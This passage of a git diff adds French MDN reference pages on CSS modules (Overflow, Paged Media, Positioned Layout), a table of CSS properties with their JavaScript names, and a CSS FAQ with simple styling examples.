+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.namespace")}}</p>
diff --git a/files/fr/web/css/css_overflow/index.html b/files/fr/web/css/css_overflow/index.html
new file mode 100644
index 0000000000..9f5697820a
--- /dev/null
+++ b/files/fr/web/css/css_overflow/index.html
@@ -0,0 +1,82 @@
+---
+title: CSS Overflow
+slug: Web/CSS/CSS_Overflow
+tags:
+  - CSS
+  - CSS Overflow
+  - Reference
+translation_of: Web/CSS/CSS_Overflow
+---
+<p>{{CSSRef}}<br>
+ Le module de spécification <em><strong>CSS Overflow</strong></em> décrit les fonctionnalités CSS relatives au dépassement et au défilement du contenu pour les médias visuels. En CSS, le dépassement se produit lorsque le contenu d'une boîte s'étend au-delà des bords de la boîte.</p>
+
+<h2 id="Dépassement_au_dessin_ink_overflow_et_dépassement_défilable_scrollable_overflow">Dépassement au dessin (<em>ink overflow</em>) et dépassement défilable (<em>scrollable overflow</em>)</h2>
+
+<p>Il existe deux types de dépassement en CSS. Le premier, intitulé en anglais <em><strong>ink overflow</strong></em> (qu'on pourrait traduire par « dépassement pour le dessin ») indique le dépassement des effets visuels qui ne modifient pas la disposition ou le dimensionnement (ex. les ombres des boîtes, les bordures des images, les décorations du texte, les caractères avec un jambage qui dépasse, etc.).</p>
+
+<p>Le second type de dépassement, <em><strong>scrollable overflow</strong></em> (ou dépassement défilable) se produit lorsque du contenu se situe hors de la boîte et qu'il est nécessaire de fournir un mécanisme pour faire défiler le contenu afin de pouvoir le consulter. Les propriétés de ce module de spécification décrivent ce qui se passe lorsque le contenu dépasse d'une boîte. </p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exempel interactif suivant illustre comment la modification de la valeur de la propriété <code>overflow</code> change la façon dont est géré le dépassement pour une boîte avec une hauteur fixe.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("overflow")}}</li>
+ <li>{{CSSxRef("overflow-block")}}</li>
+ <li>{{CSSxRef("overflow-inline")}}</li>
+ <li>{{CSSxRef("overflow-x")}}</li>
+ <li>{{CSSxRef("overflow-y")}}</li>
+ <li>{{CSSxRef("text-overflow")}}</li>
+ <li>{{CSSxRef("block-overflow")}} {{experimental_inline}}</li>
+ <li>{{CSSxRef("line-clamp")}} {{experimental_inline}}</li>
+ <li>{{CSSxRef("max-lines")}} {{experimental_inline}}</li>
+ <li>{{CSSxRef("continue")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h3 id="Propriétés_spécifiques">Propriétés spécifiques</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-webkit-line-clamp")}} {{non-standard_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td>Modification de la syntaxe afin de permettre d'utilise un ou deux mots-clés (plutôt qu'un seul auparavant).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés qui permettent de mettre en forme les barres de défilement/ascenceurs : {{CSSxRef("scrollbar-width")}} et {{CSSxRef("scrollbar-color")}}</li>
+</ul>
diff --git a/files/fr/web/css/css_pages/index.html b/files/fr/web/css/css_pages/index.html
new file mode 100644
index 0000000000..1d191006f2
--- /dev/null
+++ b/files/fr/web/css/css_pages/index.html
@@ -0,0 +1,73 @@
+---
+title: CSS Pages
+slug: Web/CSS/CSS_Pages
+tags:
+  - Aperçu
+  - CSS
+  - CSS Paged Media
+  - Reference
+translation_of: Web/CSS/CSS_Pages
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les média paginés CSS</strong> (ou <em>CSS Paged Media</em> en anglais) est un module CSS qui définit la façon dont sont gérés les sauts de page ainsi que les veuves et orphelines.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+</ul>
+</div>
+
+<h3 id="Règles">Règles @</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref('@page')}}</li>
+</ul>
+</div>
+
+<h3 id="Pseudo-classes">Pseudo-classes</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref(':blank')}}</li>
+ <li>{{cssxref(':first')}}</li>
+ <li>{{cssxref(':left')}}</li>
+ <li>{{cssxref(':right')}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_positioning/index.html b/files/fr/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..518a4abaeb
--- /dev/null
+++ b/files/fr/web/css/css_positioning/index.html
@@ -0,0 +1,61 @@
+---
+title: CSS Positioned Layout
+slug: Web/CSS/CSS_Positioning
+tags:
+  - Aperçu
+  - CSS
+  - CSS Positioned Layout
+  - Reference
+translation_of: Web/CSS/CSS_Positioning
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Positioned Layout</strong></em> (ou module CSS de disposition positionnée) est un module CSS qui définit comment positionner des éléments sur une page.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Comprendre_z-index">Comprendre <code>z-index</code> en CSS</a></dt>
+ <dd>Présente la notion de contexte d'empilement et explique comment fonctionne le tri sur z avec plusieurs exemples.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning')}}</td>
+   <td>{{Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_properties_reference/index.html b/files/fr/web/css/css_properties_reference/index.html
new file mode 100644
index 0000000000..7c0812f001
--- /dev/null
+++ b/files/fr/web/css/css_properties_reference/index.html
@@ -0,0 +1,315 @@
+---
+title: Référence des propriétés CSS
+slug: Web/CSS/CSS_Properties_Reference
+tags:
+  - CSS
+translation_of: Web/CSS/CSS_Properties_Reference
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Référence_des_propriétés_CSS_usuelles">Référence des propriétés CSS usuelles</h2>
+
+<p>Voici ci-dessous une liste simple des propriétés CSS les plus fréquemment utilisées avec leur équivalent en notation DOM,  habituellement utilisée avec JavaScript :</p>
+
+<div class="note"><strong>Note :</strong>  Cette liste n'est pas exhaustive. Pour davantage de propriétés CSS, voir <a href="/fr/docs/Web/CSS/Reference">la référence CSS</a> et <a href="/fr/docs/Web/CSS/Extensions_Mozilla">les extensions CSS spécifiques à Mozilla</a>.</div>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>CSS</strong></th>
+   <th scope="col"><strong>JavaScript</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>background</code></td>
+   <td><code>background</code></td>
+  </tr>
+  <tr>
+   <td><code>background-attachment</code></td>
+   <td><code>backgroundAttachment</code></td>
+  </tr>
+  <tr>
+   <td><code>background-color</code></td>
+   <td><code>backgroundColor</code></td>
+  </tr>
+  <tr>
+   <td><code>background-image</code></td>
+   <td><code>backgroundImage</code></td>
+  </tr>
+  <tr>
+   <td><code>background-position</code></td>
+   <td><code>backgroundPosition</code></td>
+  </tr>
+  <tr>
+   <td><code>background-repeat</code></td>
+   <td><code>backgroundRepeat</code></td>
+  </tr>
+  <tr>
+   <td><code>border</code></td>
+   <td><code>border</code></td>
+  </tr>
+  <tr>
+   <td><code>border-bottom</code></td>
+   <td><code>borderBottom</code></td>
+  </tr>
+  <tr>
+   <td><code>border-bottom-color</code></td>
+   <td><code>borderBottomColor</code></td>
+  </tr>
+  <tr>
+   <td><code>border-bottom-style</code></td>
+   <td><code>borderBottomStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>border-bottom-width</code></td>
+   <td><code>borderBottomWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>border-color</code></td>
+   <td><code>borderColor</code></td>
+  </tr>
+  <tr>
+   <td><code>border-left</code></td>
+   <td><code>borderLeft</code></td>
+  </tr>
+  <tr>
+   <td><code>border-left-color</code></td>
+   <td><code>borderLeftColor</code></td>
+  </tr>
+  <tr>
+   <td><code>border-left-style</code></td>
+   <td><code>borderLeftStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>border-left-width</code></td>
+   <td><code>borderLeftWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>border-right</code></td>
+   <td><code>borderRight</code></td>
+  </tr>
+  <tr>
+   <td><code>border-right-color</code></td>
+   <td><code>borderRightColor</code></td>
+  </tr>
+  <tr>
+   <td><code>border-right-style</code></td>
+   <td><code>borderRightStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>border-right-width</code></td>
+   <td><code>borderRightWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>border-style</code></td>
+   <td><code>borderStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>border-top</code></td>
+   <td><code>borderTop</code></td>
+  </tr>
+  <tr>
+   <td><code>border-top-color</code></td>
+   <td><code>borderTopColor</code></td>
+  </tr>
+  <tr>
+   <td><code>border-top-style</code></td>
+   <td><code>borderTopStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>border-top-width</code></td>
+   <td><code>borderTopWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>border-width</code></td>
+   <td><code>borderWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>clear</code></td>
+   <td><code>clear</code></td>
+  </tr>
+  <tr>
+   <td><code>clip</code></td>
+   <td><code>clip</code></td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td><code>color</code></td>
+  </tr>
+  <tr>
+   <td><code>cursor</code></td>
+   <td><code>cursor</code></td>
+  </tr>
+  <tr>
+   <td><code>display</code></td>
+   <td><code>display</code></td>
+  </tr>
+  <tr>
+   <td><code>filter</code></td>
+   <td><code>filter</code></td>
+  </tr>
+  <tr>
+   <td><code>float</code></td>
+   <td><code>cssFloat</code></td>
+  </tr>
+  <tr>
+   <td><code>font</code></td>
+   <td><code>font</code></td>
+  </tr>
+  <tr>
+   <td><code>font-family</code></td>
+   <td><code>fontFamily</code></td>
+  </tr>
+  <tr>
+   <td><code>font-size</code></td>
+   <td><code>fontSize</code></td>
+  </tr>
+  <tr>
+   <td><code>font-variant</code></td>
+   <td><code>fontVariant</code></td>
+  </tr>
+  <tr>
+   <td><code>font-weight</code></td>
+   <td><code>fontWeight</code></td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><code>height</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>left</code></td>
+  </tr>
+  <tr>
+   <td><code>letter-spacing</code></td>
+   <td><code>letterSpacing</code></td>
+  </tr>
+  <tr>
+   <td><code>line-height</code></td>
+   <td><code>lineHeight</code></td>
+  </tr>
+  <tr>
+   <td><code>list-style</code></td>
+   <td><code>listStyle</code></td>
+  </tr>
+  <tr>
+   <td><code>list-style-image</code></td>
+   <td><code>listStyleImage</code></td>
+  </tr>
+  <tr>
+   <td><code>list-style-position</code></td>
+   <td><code>listStylePosition</code></td>
+  </tr>
+  <tr>
+   <td><code>list-style-type</code></td>
+   <td><code>listStyleType</code></td>
+  </tr>
+  <tr>
+   <td><code>margin</code></td>
+   <td><code>margin</code></td>
+  </tr>
+  <tr>
+   <td><code>margin-bottom</code></td>
+   <td><code>marginBottom</code></td>
+  </tr>
+  <tr>
+   <td><code>margin-left</code></td>
+   <td><code>marginLeft</code></td>
+  </tr>
+  <tr>
+   <td><code>margin-right</code></td>
+   <td><code>marginRight</code></td>
+  </tr>
+  <tr>
+   <td><code>margin-top</code></td>
+   <td><code>marginTop</code></td>
+  </tr>
+  <tr>
+   <td><code>overflow</code></td>
+   <td><code>overflow</code></td>
+  </tr>
+  <tr>
+   <td><code>padding</code></td>
+   <td><code>padding</code></td>
+  </tr>
+  <tr>
+   <td><code>padding-bottom</code></td>
+   <td><code>paddingBottom</code></td>
+  </tr>
+  <tr>
+   <td><code>padding-left</code></td>
+   <td><code>paddingLeft</code></td>
+  </tr>
+  <tr>
+   <td><code>padding-right</code></td>
+   <td><code>paddingRight</code></td>
+  </tr>
+  <tr>
+   <td><code>padding-top</code></td>
+   <td><code>paddingTop</code></td>
+  </tr>
+  <tr>
+   <td><code>page-break-after</code></td>
+   <td><code>pageBreakAfter</code></td>
+  </tr>
+  <tr>
+   <td><code>page-break-before</code></td>
+   <td><code>pageBreakBefore</code></td>
+  </tr>
+  <tr>
+   <td><code>position</code></td>
+   <td><code>position</code></td>
+  </tr>
+  <tr>
+   <td><code>stroke-dasharray</code></td>
+   <td><code>strokeDasharray</code></td>
+  </tr>
+  <tr>
+   <td><code>stroke-dashoffset</code></td>
+   <td><code>strokeDashoffset</code></td>
+  </tr>
+  <tr>
+   <td><code>stroke-width</code></td>
+   <td><code>strokeWidth</code></td>
+  </tr>
+  <tr>
+   <td><code>text-align</code></td>
+   <td><code>textAlign</code></td>
+  </tr>
+  <tr>
+   <td><code>text-decoration</code></td>
+   <td><code>textDecoration</code></td>
+  </tr>
+  <tr>
+   <td><code>text-indent</code></td>
+   <td><code>textIndent</code></td>
+  </tr>
+  <tr>
+   <td><code>text-transform</code></td>
+   <td><code>textTransform</code></td>
+  </tr>
+  <tr>
+   <td><code>top</code></td>
+   <td><code>top</code></td>
+  </tr>
+  <tr>
+   <td><code>vertical-align</code></td>
+   <td><code>verticalAlign</code></td>
+  </tr>
+  <tr>
+   <td><code>visibility</code></td>
+   <td><code>visibility</code></td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code>width</code></td>
+  </tr>
+  <tr>
+   <td><code>z-index</code></td>
+   <td><code>zIndex</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/fr/web/css/css_questions_frequentes/index.html b/files/fr/web/css/css_questions_frequentes/index.html
new file mode 100644
index 0000000000..0d62552798
--- /dev/null
+++ b/files/fr/web/css/css_questions_frequentes/index.html
@@ -0,0 +1,246 @@
+---
+title: Questions fréquentes en CSS
+slug: Web/CSS/CSS_questions_frequentes
+tags:
+  - CSS
+  - Débutant
+  - Exemple
+  - Guide
+translation_of: Learn/CSS/Howto/CSS_FAQ
+---
+<h2 id="Pourquoi_mon_CSS_pourtant_valide_ne_fournit_pas_un_rendu_correct">Pourquoi mon CSS, pourtant valide, ne fournit pas un rendu correct ?</h2>
+
+<p>Pour afficher un document, les navigateurs utilisent le <code>DOCTYPE</code> - contraction de l'anglais <em>document type</em>, littéralement « type de document ». Ils utilisent un mode qui est compatible avec les standards du Web et avec les bugs des vieux navigateurs. Utiliser un <code>DOCTYPE</code> correct et moderne dès le début de votre code HTML améliorera la conformité aux standards du navigateur.</p>
+
+<p>Les navigateurs modernes ont deux modes de rendu :</p>
+
+<ul>
+ <li><em>Mode Quirk:</em> aussi appelé mode de rétro-compatibilité. Il permet aux pages existantes d'être affichées telles que leurs auteurs l'ont voulu, en suivant les règles de rendu non-standards utilisées par les navigateurs anciens. Les documents avec un <code>DOCTYPE</code> incomplet, incorrect ou manquant, ou avec une déclaration <code>DOCTYPE</code> en utilisation avant 2001 seront affichées en mode Quirks.</li>
+ <li><em>Mode Standard: </em>le navigateur tente de suivre strictement les standards du W3C. Idéalement, les nouvelles pages HTML doivent être conçues pour des navigateurs conformes aux normes. Par conséquent, les pages avec un <code>DOCTYPE</code> moderne seront affichées en mode Standard.</li>
+</ul>
+
+<p>Les navigateurs basés sur Gecko ont un troisième mode <a href="/fr/docs/Mode_presque_standard_de_Gecko">Presque Standard</a> qui comporte quelques <em>quirks</em> mineurs.</p>
+
+<p>Voici une liste des <code>DOCTYPE</code> les plus couramment utilisés, qui déclencheront les modes Standard et Presque Standard des navigateurs :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt; /* Ceci est le doctype HTML5. Étant donné que chaque
+                   navigateur moderne utilise un parseur HTML5, c'est le
+                   doctype recommandé. */
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+"https://www.w3.org/TR/html4/loose.dtd"&gt;
+
+&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"https://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;</pre>
+
+<h2 id="Pourquoi_mon_CSS_qui_est_valide_n'est_pas_affiché_du_tout">Pourquoi mon CSS, qui est valide, n'est pas affiché du tout ?</h2>
+
+<p>Pour être appliqué, une feuille CSS doit être définie avec un type MIME <code>text/css</code>. Si le serveur Web ne l'affiche pas avec ce type, la feuille CSS ne sera pas appliquée.</p>
+
+<h2 id="Quelle_est_la_différence_entre_id_et_class">Quelle est la différence entre <code>id</code> et <code>class</code> ?</h2>
+
+<p>Les éléments HTML peuvent posséder un attribut de type <code>id</code> et / ou <code>class</code>. L'attribut <code>id</code> assigne un nom à l'élément sur lequel il s'applique. Pour un balisage correct, il ne peut y avoir qu'un et un seul élément avec ce nom. L'attribut <code>class</code> assigne une nom de classe à un élément. Ce nom peut être utilisé sur plusieurs éléments dans la même page. CSS vous permet d'appliquer des styles à des balises avec des noms définis en <code>id</code> et / ou en <code>class</code>.</p>
+
+<p>Quand vous voulez appliquer un style à un bloc ou un élément spécifique, utilisez un attribut <code>id</code>. Ces caractéristiques de style ne seront appliquées que sur cet <code>id</code> particulier.</p>
+
+<p>Quand vous voulez appliquer un style à plusieurs blocs ou éléments dans la même page, utilisez un attribut <code>class</code>.</p>
+
+<p>Les feuilles de style avec le moins de règles sont les plus performantes. Par conséquent, il est recommandé d'utiliser le plus possible les classes et de réserver les id à des usages spécifiques - comme connecter des éléments de type <code>label</code> et <code>form</code> ou pour décorer des éléments qui doivent être sémantiquement uniques.</p>
+
+<p>Voire <a href="/fr/docs/CSS/Premiers_pas/Les_sélecteurs" title="Les sélecteurs CSS">Les sélecteurs CSS</a>.</p>
+
+<h2 id="Comment_revenir_à_la_valeur_par_défaut_d'un_propriété">Comment revenir à la valeur par défaut d'un propriété ?</h2>
+
+<p>Jadis, il n'y avait pas de valeur nommée "default", par exemple. Le seul moyen de retrouver la valeur par défaut d'une propriété était de déclarer à nouveau cette propriété avec sa valeur par défaut.</p>
+
+<p>Ce comportement est différent depuis CSS2. Une propriété CSS peut maintenant prendre la valeur <code><a href="/fr/docs/Web/CSS/initial">initial</a></code>. C'est la valeur par défaut de cette propriété, valeur définie dans les spécifications de la propriété.</p>
+
+<h2 id="Comment_créer_un_style_dérivant_d'un_autre">Comment créer un style dérivant d'un autre ?</h2>
+
+<p>CSS ne permet de faire dériver un style d'un autre. Voire <a href="http://archivist.incutio.com/viewlist/css-discuss/2685">l'article d'Eric Meyer à propos de la position du groupe de travail</a>. Par contre, assigner plusieurs classes à un seul élément peut produire le même effet.</p>
+
+<h2 id="Comment_assigner_de_multiples_classes_à_un_élément">Comment  assigner de multiples classes à un élément?</h2>
+
+<p>Il est possible d'assigner aux éléments HTML de multiples classes en les listant dans l'attribut <code>class</code> en séparant chaque classe d'un espace.</p>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+&lt;/style&gt;
+
+&lt;div class="news today"&gt;
+... content of today's news ...
+&lt;/div&gt;
+</pre>
+
+<p>Si la même propriété est déclarée dans les deux règles, le conflit est résolu de la manière suivante : premièrement selon la règle de spécificité, ensuite selon l'ordre de déclaration du CSS. L'ordre des classes dans l'attribut <code>class</code> n'est pas pris en compte.</p>
+
+<h2 id="Pourquoi_mes_règles_ne_fonctionnent-elles_pas_correctement">Pourquoi mes règles ne fonctionnent-elles pas correctement ?</h2>
+
+<p>Les règles de style qui sont syntaxiquement correctes peuvent ne pas s'appliquer dans certaines situations. Vous pouvez utiliser la partie <em>Règles de style CSS</em> de l'inspecteur DOM pour déboguer les problèmes de ce genre, mais la plupart des cas de règles de style non utilisées sont listées ci-dessous.</p>
+
+<h3 id="Hiérarchie_des_éléments_HTML">Hiérarchie des éléments HTML</h3>
+
+<p>La manière dont les styles CSS sont appliqués aux éléments HTML dépend aussi de la hiérarchie des-dits éléments. Il est important de se souvenir qu'une règle appliquée à un élément surcharge la règle appliquée pour l'élément parent, quelle que soit la spécificité ou la priorité de la règle CSS.</p>
+
+<pre class="brush: css">.news {
+  color: black;
+}
+
+.corpName {
+  font-weight: bold;
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;!-- Le texte de l'annonce est en noir
+     mais le nom de l'entreprise est
+     en rouge gras --&gt;
+&lt;div class="news"&gt; (Reuters)
+   &lt;span class="corpName"&gt;General Electric&lt;/span&gt;
+  (GE.NYS) announced on Thursday...
+&lt;/div&gt;
+</pre>
+
+<p>Dans le cas où vous utilisez une hiérarchie HTML complexe et si une règle semble être ignorée, vérifiez que l'élément n'est pas contenu dans un autre élément avec une mise en forme différente.</p>
+
+<h3 id="L'ordre_et_la_redéfinition_des_règles">L'ordre et la redéfinition des règles</h3>
+
+<p>Pour les feuilles de style CSS, <strong>l'ordre est important</strong>. Si vous définissez une règle une première fois puis que vous la définissez à nouveau par la suite, c'est cette dernière définition qui sera prise en compte et utilisée.</p>
+
+<pre class="brush: css">#stockTicker {
+  font-weight: bold;
+}
+.stockSymbol {
+  color: red;
+}
+/*  D'autres règles             */
+/*  D'autres règles             */
+/*  D'autres règles             */
+.stockSymbol {
+  font-weight: normal;
+}
+</pre>
+
+<p> </p>
+
+<pre class="brush: html">&lt;!-- La plupart du texte est en gras sauf "GE",
+     qui est en rouge et sans graisse --&gt;
+&lt;div id="stockTicker"&gt; NYS: &lt;span class="stockSymbol"&gt;GE&lt;/span&gt; +1.0 ... &lt;/div&gt;
+
+</pre>
+
+<p>Pour éviter ce type d'erreur, le mieux consiste à ne définir les règles qu'une seule fois pour un sélecteur donné et à grouper toutes les règles appartenant à ce sélecteur.</p>
+
+<h3 id="Utiliser_les_propriétés_raccourcies">Utiliser les propriétés raccourcies</h3>
+
+<p>Les propriétés raccourcies sont un bon outil pour définir les règles CSS car elles permettent d'obtenir une syntaxe concise. On peut utiliser les propriétés raccourcies avec uniquement quelques unes des valeurs associées, c'est possible et c'est correct ; toutefois, il faut se rappeler que tous les attributs qui ne sont pas déclarés verront leurs valeurs par défaut (aussi appelées valeurs initiales) utilisées. Cela signifie que si une règle précédente indiquait la valeur pour une propriété détaillée, elle sera surchargée de façon implicite.</p>
+
+<pre class="brush: css">#stockTicker {
+  font-size: 12px;
+  font-family: Verdana;
+  font-weight: bold;
+}
+
+.stockSymbol {
+  font: 14px Arial;
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="stockTicker"&gt;
+  NYS:
+  &lt;span class="stockSymbol"&gt;
+    GE
+  &lt;/span&gt;
+  +1.0 ...
+&lt;/div&gt;</pre>
+
+<p>Dans l'exemple précédent, le problème apparaît avec des règles destinées à des éléments différents mais il peut également se produire pour un seul élément car <strong>l'ordre des règles est important</strong>.</p>
+
+<pre class="brush: css">#stockTicker {
+  font-weight: bold;
+  font: 12px Verdana;
+  /* font-weight vaut maintenant normal */
+}
+</pre>
+
+<h3 id="Utiliser_le_sélecteur_*">Utiliser le sélecteur <code>*</code></h3>
+
+<p>Le sélecteur <code>*</code> fait référence à n'importe quel élément et doit donc être utilisé avec soin.</p>
+
+<pre class="brush: css">body * {
+  font-weight: normal;
+}
+
+#stockTicker {
+  font: 12px Verdana;
+}
+
+.corpName {
+  font-weight: bold;
+}
+
+.stockUp {
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="section"&gt;
+  NYS:
+  &lt;span class="corpName"&gt;
+    &lt;span class="stockUp"&gt;
+      GE
+    &lt;/span&gt;
+  &lt;/span&gt;
+  +1.0 ...
+&lt;/div&gt;</pre>
+
+<p>Dans cet exemple, le sélecteur <code>body *</code> cible tous les éléments à l'intérieur de <code>body</code>, quel que soit le niveau hiérarchique à l'intérieur du document, y compris pour la classe <code>.stockUp</code>. Ainsi, la règle <code>font-weight: bold;</code> appliquée sur la classe <code>.corpName</code> est surchargée par la règle <code>font-weight: normal;</code> qui est appliquée à tous les éléments contenus dans <code>body</code>.</p>
+
+<p>Le sélecteur <code>*</code> doit être utilisé aussi peu que possible car il s'agit d'un sélecteur lent, notamment lorsqu'il n'est pas utilisé comme le premier composant d'un sélecteur.</p>
+
+<h3 id="La_spécificité_en_CSS">La spécificité en CSS</h3>
+
+<p>Lorsque plusieurs règles s'applique à un même élément. La règle choisie dépend de la <a href="/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage">spécificité</a>. Les styles <em>inline</em> (ceux déclarés via l'attribut HTML <code>style</code>) sont pris en compte en priorité, suivis par ceux manipulés avec les sélecteurs d'identifiant, suivis ceux associés aux sélecteurs de classe et éventuellement par ceux associés aux sélecteurs de nom.</p>
+
+<pre class="brush: css">div {
+  color: black;
+}
+
+#orange {
+  color: orange;
+}
+
+.green {
+  color: green;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="orange" class="green" style="color: red;"&gt;
+  Voici quelque chose qui sera rouge.
+&lt;/div&gt;</pre>
+
+<p>Les règles exactes sont plus complexes lorsque le sélecteur contient plusieurs composants. Pour plus de détails sur la façon dont la spécificité d'un sélecteur est calculé, on pourra lire <a href="https://www.w3.org/TR/CSS21/cascade.html#specificity">le chapitre de la spécification CSS 2.1</a> ou <a href="/fr/Apprendre/CSS/Les_bases/La_cascade_et_l_héritage">le chapitre correspondant de la section Apprendre</a>.</p>
+
+<h2 id="Quid_des_propriétés_-moz-*_-ms-*_-webkit-*_-o-*_et_-khtml-*">Quid des propriétés <code>-moz-*</code>, <code>-ms-*</code>, <code>-webkit-*</code>, <code>-o-*</code> et <code>-khtml-*</code> ?</h2>
+
+<p>Ces propriétés, appelées <em>propriétés préfixées</em>, sont des extensions au standard CSS. Elles sont utilisées pour les fonctionnalités expérimentales et non-standards afin d'éviter de polluer l'espace de noms usuel pour éviter des incompatibilités lorsque le standard est augmenté.</p>
+
+<p>Il n'est pas recommandé d'utilier ces propriétés pour des sites web en production. Si cela reste nécessaire, il est conseillé de prévoir une stratégie au cas où ces propriétés préfixées soient retirées. En effet, elles peuvent être modifiées voire supprimées lorsque le standard évolue.</p>
+
+<p>Pour plus d'informations <a href="/fr/docs/Web/CSS/Extensions_Mozilla">sur les extensions CSS de Mozilla, vous pouvez consulter la page associée</a>.</p>
+
+<h2 id="Quel_est_l'impact_de_z-index_sur_le_positionnement_des_éléments">Quel est l'impact de <code>z-index</code> sur le positionnement des éléments ?</h2>
+
+<p>La propriété {{cssxref("z-index")}} définit l'ordre d'empilement des élément.</p>
+
